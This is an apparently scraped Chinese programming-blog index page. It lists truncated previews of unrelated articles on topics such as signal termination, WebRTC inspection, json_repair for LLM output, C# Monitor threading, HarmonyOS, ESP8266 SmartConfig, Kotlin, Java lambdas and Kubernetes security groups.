一、串联端接方式 即靠近输出端的位置串联一个电阻。 要达到匹配效果&#xff0c;串联电阻和驱动端输出阻抗的总和应等于传输线的特征Z0 二、并联端接方式 并联端接又被称为终端匹配。 要达到阻抗匹配的要求&#xff0c;端接电阻应该和传输线的特征阻抗Z0相等。 三、AC并联端…...

WebRTC通信技术EasyRTC音视频实时通话安全巡检搭建低延迟、高可靠的智能巡检新体系

一、方案背景 在现代安防和工业领域&#xff0c;安全巡检是确保设施正常运行和保障人员安全的关键环节。传统的巡检方式往往依赖人工&#xff0c;效率低下且容易出现遗漏。随着技术的发展&#xff0c;实时通信技术EasyRTC为安全巡检提供了更加高效和智能化的解决方案。 二、方…...

使用json_repair修复大模型的json输出错误

json_repair 有些 LLM 在返回格式正确的 JSON 数据时会有些问题&#xff0c;有时会漏掉括号&#xff0c;有时会在数据中添加一些单词。不至于这种错误每次都要丢弃&#xff0c;再次生成太浪费时间了&#xff0c;因此能修复错误时还是要尽量修复。这就是 json_repair 的主要目的…...

聊透多线程编程-线程互斥与同步-12. C# Monitor类实现线程互斥

目录 一、什么是临界区&#xff1f; 二、Monitor类的用途 三、Monitor的基本用法 四、Monitor的工作原理 五、使用示例1-保护共享变量 解释&#xff1a; 六、使用示例2-线程间信号传递 解释&#xff1a; 七、注意事项 八、总结 在多线程编程中&#xff0c;线程之间的…...

鸿蒙系统的 “成长烦恼“:生态突围与技术迭代的双重挑战

一、应用生态&#xff1a;从 "有没有" 到 "好不好" 的漫长爬坡 作为一款诞生于中美科技博弈背景下的国产操作系统&#xff0c;鸿蒙&#xff08;HarmonyOS&#xff09;自 2019 年发布以来&#xff0c;已在设备装机量上取得突破 —— 截至 2023 年底&#xf…...

ESP8266_ESP32 Smartconfig一键配网功能

目录 SmartConfig一键配网基本原理设备绑定流程 ESP8266/ESP32 SmartConfig配网AT指令配置方式Arduino程序配置方式 总结 SmartConfig一键配网 SmartConfigTM 是由 TI 开发的配网技术&#xff0c;用于将新的 Wi-Fi 设备连接到 Wi-Fi 网络。它使用移动应用程序将无线网凭据从智…...

图解Agent2Agent(A2A)

🧠 向所有学习者致敬! “学习不是装满一桶水,而是点燃一把火。” —— 叶芝 我的博客主页: https://lizheng.blog.csdn.net 🌐 欢迎点击加入AI人工智能社区! 🚀 让我们一起努力,共创AI未来! 🚀 嘿,朋友们!今天咱们来聊聊 Agentic 应用背后的两大神器:A2A 和 …...

Kotlin基础(①)

open 关键字&#xff1a;打破 Kotlin 的“默认封闭”规则 // 基类必须加 open 才能被继承 open class Animal {// 方法也要加 open 才能被子类重写open fun makeSound() {println("Some sound")} }class Dog : Animal() {override fun makeSound() {println("W…...

Android Kotlin+Compose首个应用

本教程将创建一个简单的基于 Kotlin 语言的 APP&#xff0c;并使用 Compose 来管理 UI。 创建一个基于 Kotlin 的Android 应用 打开 Android Studio&#xff0c;选择New Project来创建一个应用&#xff0c;然后在Phone and Tablet选项卡&#xff0c;选择 Empty Activity&…...

《AI大模型应知应会100篇》第30篇:大模型进行数据分析的方法与局限:从实战到边界探索

大模型进行数据分析的方法与局限&#xff1a;从实战到边界探索 摘要 在金融分析师用自然语言询问季度财报趋势&#xff0c;电商平台通过对话生成用户画像的今天&#xff0c;大模型正在重塑数据分析的协作模式。本文通过实战代码与行业案例&#xff0c;揭示大模型如何成为数据…...

基于SSM+Vue的社群交流市场服务平台【提供源码+论文1.5W字+答辩PPT+项目部署】

作者简介&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流。✌ 主要内容&#xff1a;&#x1f31f;Java项目、Python项目、前端项目、PHP、ASP.NET、人工智能…...

Python Cookbook-6.7 有命名子项的元组

任务 Python 元组可以很方便地被用来将信息分组&#xff0c;但是访问每个子项都需要使用数字索引&#xff0c;所以这种用法有点不便。你希望能够创建一种可以通过名字属性访问的元组。 解决方案 工厂函数是生成符合要求的元组的子类的最简单方法: #若在2.4中可使用operator…...

软件功能测试和非功能测试有什么区别和联系?

软件测试是保障软件质量的核心环节&#xff0c;而软件功能测试和非功能测试作为测试领域的两大重要组成部分&#xff0c;承担着不同但又相互关联的职责。 软件功能测试指的是通过验证软件系统的各项功能是否按照需求规格说明书来正确实现&#xff0c;确保软件的功能和业务流程…...

Java Lambda表达式指南

一、Lambda表达式基础 1. 什么是Lambda表达式&#xff1f; 匿名函数&#xff1a;没有名称的函数函数式编程&#xff1a;可作为参数传递的代码块简洁语法&#xff1a;替代匿名内部类的更紧凑写法 2. 基本语法 (parameters) -> expression 或 (parameters) -> { statem…...

K8s使用LIRA插件更新安全组交互流程

在Kubernetes集群中&#xff0c;当使用Lira作为CNI&#xff08;容器网络接口&#xff09;插件&#xff0c;并且需要更新ConfigMap中的安全组&#xff08;&#xff09;securityGroups字段&#xff09;时&#xff0c;实际上你是在配置与Pod网络相关的高级选项。Lira作为一种支持P…...